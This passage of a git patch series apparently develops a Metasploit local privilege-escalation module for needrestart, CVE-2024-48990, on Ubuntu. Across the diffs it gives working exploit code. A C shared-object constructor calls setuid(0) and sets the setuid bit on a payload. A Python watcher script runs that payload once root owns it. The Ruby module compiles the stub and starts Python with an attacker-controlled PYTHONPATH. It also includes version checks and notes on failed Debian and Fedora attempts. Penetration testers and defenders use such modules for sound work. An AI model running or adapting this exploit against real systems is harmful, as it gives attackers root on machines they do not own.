#{package} detected on Ubuntu #{version}") if package < fixed_versions[version] + + CheckCode::Safe("needrestart is not vulnerable on Ubuntu #{version}") end def exploit @@ -115,14 +109,33 @@ def exploit register_files_for_cleanup(payload_path) # our c stub file does our chmod/chown/suid for the payload - c_stub = strip_comments(exploit_data('CVE-2024-48990', 'lib.c')) + c_stub = strip_comments(exploit_data('CVE-2024-48990', 'lib.metasm')) c_stub = c_stub.gsub('PAYLOAD_PATH', payload_path) - c_stub_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}.c" - write_file c_stub_path, c_stub - # upload_and_compile lib_path, lib, "-shared -fPIC -o \"#{base_dir}/importlib/__init__.so\"" + case kernel_arch + when ARCH_X86 + cpu = Metasm::Ia32.new + when ARCH_X64 + cpu = Metasm::X86_64.new + else + fail_with Failure::NoTarget, 'Target is not compatible' + end + + begin + c_stub = Metasm::ELF.compile_c(cpu, c_stub).encode_string(:lib) + c_stub_path = "#{base_dir}/importlib/__init__.so" + rescue StandardError + print_error "Metasm encoding failed: #{$ERROR_INFO}" + elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}" + elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}" + fail_with Failure::Unknown, 'Metasm encoding failed' + end + + mkdir "#{base_dir}/importlib" + write_file(c_stub_path, c_stub) vprint_status("Uploading c_stub: #{c_stub_path}") register_files_for_cleanup(c_stub_path) + register_dir_for_cleanup("#{base_dir}/importlib") # the python script is needed for having the PYTHONPATH set and watches # for our payload to be modified, then run it @@ -134,26 +147,11 @@ def exploit vprint_status("Uploading py_script: #{py_stub_path}") register_files_for_cleanup(py_stub_path) - # The build and run script builds our c stub into the python library SO - # then runs our python sleeper script - build_run_script = strip_comments(exploit_data('CVE-2024-48990', 'build_and_run.sh')) - build_run_script = build_run_script.gsub('BASE_DIR', base_dir) - build_run_script = build_run_script.gsub('C_STUB_PATH', c_stub_path) - build_run_script = build_run_script.gsub('PY_STUB_PATH', py_stub_path) - - build_run_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" - write_file build_run_path, build_run_script - cmd_exec "chmod +x #{build_run_path}" - vprint_status("Uploading build and run script: #{build_run_path}") - register_files_for_cleanup(build_run_path) - - register_dir_for_cleanup("#{base_dir}/importlib") - # Launch exploit with a timeout. We also have a vprint_status so if the user wants all the # output from the exploit being run, they can optionally see it timeout = 86_400 # 24 hours print_status 'Launching exploit, and waiting for needrestart to run...' - output = cmd_exec build_run_path, nil, timeout + output = cmd_exec "PYTHONPATH=\"#{base_dir}\" python3 '#{py_stub_path}'", nil, timeout output.each_line { |line| vprint_status line.chomp } end end From 19394960cd1beb113a69c5ef38d0582c7ab3585e Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 25 Nov 2024 16:40:00 -0500 Subject: [PATCH 5/8] needrestart improvements --- modules/exploits/linux/local/ubuntu_needrestart_lpe.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb b/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb index 663cf777278f..45817a44a939 100644 --- a/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb +++ b/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb @@ -54,7 +54,7 @@ def initialize(info = {}) ) ) register_advanced_options [ - OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]) ] end @@ -149,7 +149,7 @@ def exploit # Launch exploit with a timeout. We also have a vprint_status so if the user wants all the # output from the exploit being run, they can optionally see it - timeout = 86_400 # 24 hours + timeout = 90_000 # 25 hours print_status 'Launching exploit, and waiting for needrestart to run...' output = cmd_exec "PYTHONPATH=\"#{base_dir}\" python3 '#{py_stub_path}'", nil, timeout output.each_line { |line| vprint_status line.chomp } From d778f5469b86224ef07628ba087bbdaf169e9d88 Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 26 Nov 2024 18:22:48 -0500 Subject: [PATCH 6/8] needrestart improvements --- data/exploits/CVE-2024-48990/lib.metasm | 2 +- data/exploits/CVE-2024-48990/sleeper.py | 9 ++++--- .../linux/local/ubuntu_needrestart_lpe.md | 6 +++++ .../linux/local/ubuntu_needrestart_lpe.rb | 27 ++++++++++++++----- 4 files changed, 33 insertions(+), 11 deletions(-) diff --git a/data/exploits/CVE-2024-48990/lib.metasm b/data/exploits/CVE-2024-48990/lib.metasm index e16f2b70a083..cdb70f43a3a1 100644 --- a/data/exploits/CVE-2024-48990/lib.metasm +++ b/data/exploits/CVE-2024-48990/lib.metasm @@ -23,5 +23,5 @@ void a(void) __attribute__((constructor)); void __attribute__((constructor)) a() { setuid(0); setgid(0); - system("chown root:root 'PAYLOAD_PATH'; chmod a+x 'PAYLOAD_PATH'; chmod u+s 'PAYLOAD_PATH' &"); + system("chown root:root 'PAYLOAD_PATH'; chmod a+x,u+s 'PAYLOAD_PATH'"); } \ No newline at end of file diff --git a/data/exploits/CVE-2024-48990/sleeper.py b/data/exploits/CVE-2024-48990/sleeper.py index a9bb02cafed1..707f3da56357 100644 --- a/data/exploits/CVE-2024-48990/sleeper.py +++ b/data/exploits/CVE-2024-48990/sleeper.py @@ -5,10 +5,13 @@ print("#########################\n\nDont mind the error message above\n\nWaiting for needrestart to run...") while True: - file_stat = os.stat('PAYLOAD_PATH') + try: + file_stat = os.stat('PAYLOAD_PATH') + except FileNotFoundError: + break username = pwd.getpwuid(file_stat.st_uid).pw_name if (username == 'root'): - print("Payload owned by: " + username) - os.system('PAYLOAD_PATH &') + #print("Payload owned by: " + username) + os.system('PAYLOAD_PATH') break time.sleep(1) \ No newline at end of file diff --git a/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md b/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md index d0ef407ea836..792b0630a7b1 100644 --- a/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md +++ b/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md @@ -6,6 +6,12 @@ attacker-controlled PYTHONPATH environment variable. Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1 +### Debian + +Install: `apt-get install needrestart=3.6-4+deb12u1` + +Binary location: `/usr/sbin/needrestart` + ## Verification Steps 1. Install the application diff --git a/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb b/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb index 45817a44a939..616b80d2dbc4 100644 --- a/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb +++ b/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb @@ -71,24 +71,37 @@ def check '22.04' => Rex::Version.new('3.5-5ubuntu2.2'), '20.04' => Rex::Version.new('3.4-6ubuntu0.1.esm1'), '18.04' => Rex::Version.new('3.1-1ubuntu0.1.esm1'), - '16.04' => Rex::Version.new('2.6-1ubuntu0.1.esm1') + '16.04' => Rex::Version.new('2.6-1ubuntu0.1.esm1'), + '12' => Rex::Version.new('3.6-4.deb12u2'), # debian bookworm + '11' => Rex::Version.new('3.5-4.deb11u4'), # debian bullseye + '41' => Rex::Version.new('3.8-1.fc41') # fedora 41 } info = get_sysinfo - return CheckCode::Safe('Only Ubuntu is exploitable') unless info[:distro] == 'ubuntu' - - version = info[:version].split(' ')[1].slice(0, 5) # take off any extra version info - return CheckCode::Safe("Ubuntu version #{version} is not vulnerable") unless fixed_versions.key? version + return CheckCode::Safe('Only Ubuntu/Debian/Fedora have check functionality') unless ['debian', 'ubuntu', 'Fedora'].include? info[:distro] + + if info[:distro] == 'ubuntu' + version = info[:version].split(' ')[1].slice(0, 5) # take off any extra version info + return CheckCode::Safe("Ubuntu version #{version} is not vulnerable or untested") unless fixed_versions.key? version + elsif info[:distro] == 'debian' + version = info[:version].split(' ')[2] + return CheckCode::Safe("Debian version #{version} is not vulnerable or untested") unless fixed_versions.key? version + elsif info[:distro] == 'Fedora' # untested XXX need to confirm + version = info[:version].split(' ')[1] + return CheckCode::Safe("Fedora version #{version} is not vulnerable or untested") unless fixed_versions.key? version + end return CheckCode::Safe('needrestart binary not found') unless command_exists?('needrestart') package = cmd_exec('dpkg -l needrestart | grep \'^ii\'') package = package.split(' ')[2] package = package.gsub('+', '.') + package = package.gsub('needrestart-', '') # fedora specific package = Rex::Version.new(package) return CheckCode::Safe('needrestart not install, or not detected.') if package.nil? - return CheckCode::Appears("Vulnerable needrestart version #{package} detected on Ubuntu #{version}") if package < fixed_versions[version] - CheckCode::Safe("needrestart is not vulnerable on Ubuntu #{version}") + return CheckCode::Appears("Vulnerable needrestart version #{package} detected on Ubuntu/Debian/Fedora #{version}") if package < fixed_versions[version] + + CheckCode::Safe("needrestart is not vulnerable on Ubuntu/Debian/Fedora #{version}") end def exploit From e41f5ad5777a588102f4819ed0286cc3d1b5f47d Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 27 Nov 2024 15:41:23 -0500 Subject: [PATCH 7/8] needrestart exploit updates --- data/exploits/CVE-2024-48990/sleeper.py | 8 +++---- .../linux/local/ubuntu_needrestart_lpe.md | 10 +++++++++ .../linux/local/ubuntu_needrestart_lpe.rb | 21 +++++++++++-------- 3 files changed, 26 insertions(+), 13 deletions(-) diff --git a/data/exploits/CVE-2024-48990/sleeper.py b/data/exploits/CVE-2024-48990/sleeper.py index 707f3da56357..777429c0092d 100644 --- a/data/exploits/CVE-2024-48990/sleeper.py +++ b/data/exploits/CVE-2024-48990/sleeper.py @@ -8,10 +8,10 @@ try: file_stat = os.stat('PAYLOAD_PATH') except FileNotFoundError: - break + exit() username = pwd.getpwuid(file_stat.st_uid).pw_name + #print(f"Payload owned by: {username}. Stats: {file_stat}") if (username == 'root'): - #print("Payload owned by: " + username) - os.system('PAYLOAD_PATH') - break + os.system('PAYLOAD_PATH &') + exit() time.sleep(1) \ No newline at end of file diff --git a/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md b/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md index 792b0630a7b1..b4566de70113 100644 --- a/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md +++ b/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md @@ -6,12 +6,22 @@ attacker-controlled PYTHONPATH environment variable. Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1 +Exploitation against vulnerable needrestart versions on +Debian 12 and Fedora 39 were unsuccessful +however install and run instructions are listed below. + ### Debian Install: `apt-get install needrestart=3.6-4+deb12u1` Binary location: `/usr/sbin/needrestart` +### Fedora 39 + +Install: `dnf install needrestart-3.6-9.fc39.noarch` + +Binary location: `/usr/sbin/needrestart` + ## Verification Steps 1. Install the application diff --git a/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb b/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb index 616b80d2dbc4..312379dd05c4 100644 --- a/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb +++ b/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb @@ -26,6 +26,7 @@ def initialize(info = {}) attacker-controlled PYTHONPATH environment variable. Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1 + Attempted exploitation against Debian 12, expliotation failed }, 'License' => MSF_LICENSE, 'Author' => [ @@ -74,20 +75,22 @@ def check '16.04' => Rex::Version.new('2.6-1ubuntu0.1.esm1'), '12' => Rex::Version.new('3.6-4.deb12u2'), # debian bookworm '11' => Rex::Version.new('3.5-4.deb11u4'), # debian bullseye - '41' => Rex::Version.new('3.8-1.fc41') # fedora 41 + # may be more versions, but this felt good enough + '38' => Rex::Version.new('3.8-1'), + '39' => Rex::Version.new('3.8-1'), + '40' => Rex::Version.new('3.8-1'), + '41' => Rex::Version.new('3.8-1') } info = get_sysinfo - return CheckCode::Safe('Only Ubuntu/Debian/Fedora have check functionality') unless ['debian', 'ubuntu', 'Fedora'].include? info[:distro] + return CheckCode::Safe('Only Ubuntu/Debian/Fedora have check functionality') unless ['debian', 'ubuntu', 'fedora'].include? info[:distro] if info[:distro] == 'ubuntu' version = info[:version].split(' ')[1].slice(0, 5) # take off any extra version info return CheckCode::Safe("Ubuntu version #{version} is not vulnerable or untested") unless fixed_versions.key? version elsif info[:distro] == 'debian' - version = info[:version].split(' ')[2] - return CheckCode::Safe("Debian version #{version} is not vulnerable or untested") unless fixed_versions.key? version - elsif info[:distro] == 'Fedora' # untested XXX need to confirm - version = info[:version].split(' ')[1] - return CheckCode::Safe("Fedora version #{version} is not vulnerable or untested") unless fixed_versions.key? version + return CheckCode::Safe('Debian may be vulnerable however the exploit does not work against it') + elsif info[:distro] == 'fedora' + return CheckCode::Safe('Fedora may be vulnerable however the exploit does not work against it') end return CheckCode::Safe('needrestart binary not found') unless command_exists?('needrestart') @@ -99,9 +102,9 @@ def check package = Rex::Version.new(package) return CheckCode::Safe('needrestart not install, or not detected.') if package.nil? - return CheckCode::Appears("Vulnerable needrestart version #{package} detected on Ubuntu/Debian/Fedora #{version}") if package < fixed_versions[version] + return CheckCode::Appears("Vulnerable needrestart version #{package} detected on Ubuntu #{version}") if package < fixed_versions[version] - CheckCode::Safe("needrestart is not vulnerable on Ubuntu/Debian/Fedora #{version}") + CheckCode::Safe("needrestart is not vulnerable on Ubuntu #{version}") end def exploit From 6911e52d556ad2a1e5e175ec3aea5122974f29cd Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 6 Dec 2024 15:39:19 -0500 Subject: [PATCH 8/8] peer review --- modules/exploits/linux/local/ubuntu_needrestart_lpe.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb b/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb index 312379dd05c4..b19594dd72d5 100644 --- a/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb +++ b/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb @@ -98,9 +98,10 @@ def check package = cmd_exec('dpkg -l needrestart | grep \'^ii\'') package = package.split(' ')[2] package = package.gsub('+', '.') - package = package.gsub('needrestart-', '') # fedora specific + # next line will need to be included if we want to support fedora + # package = package.gsub('needrestart-', '') # fedora specific package = Rex::Version.new(package) - return CheckCode::Safe('needrestart not install, or not detected.') if package.nil? + return CheckCode::Safe('needrestart not install, or not detected.') if package == Rex::Version.new('0') # aka empty/nil return CheckCode::Appears("Vulnerable needrestart version #{package} detected on Ubuntu #{version}") if package < fixed_versions[version]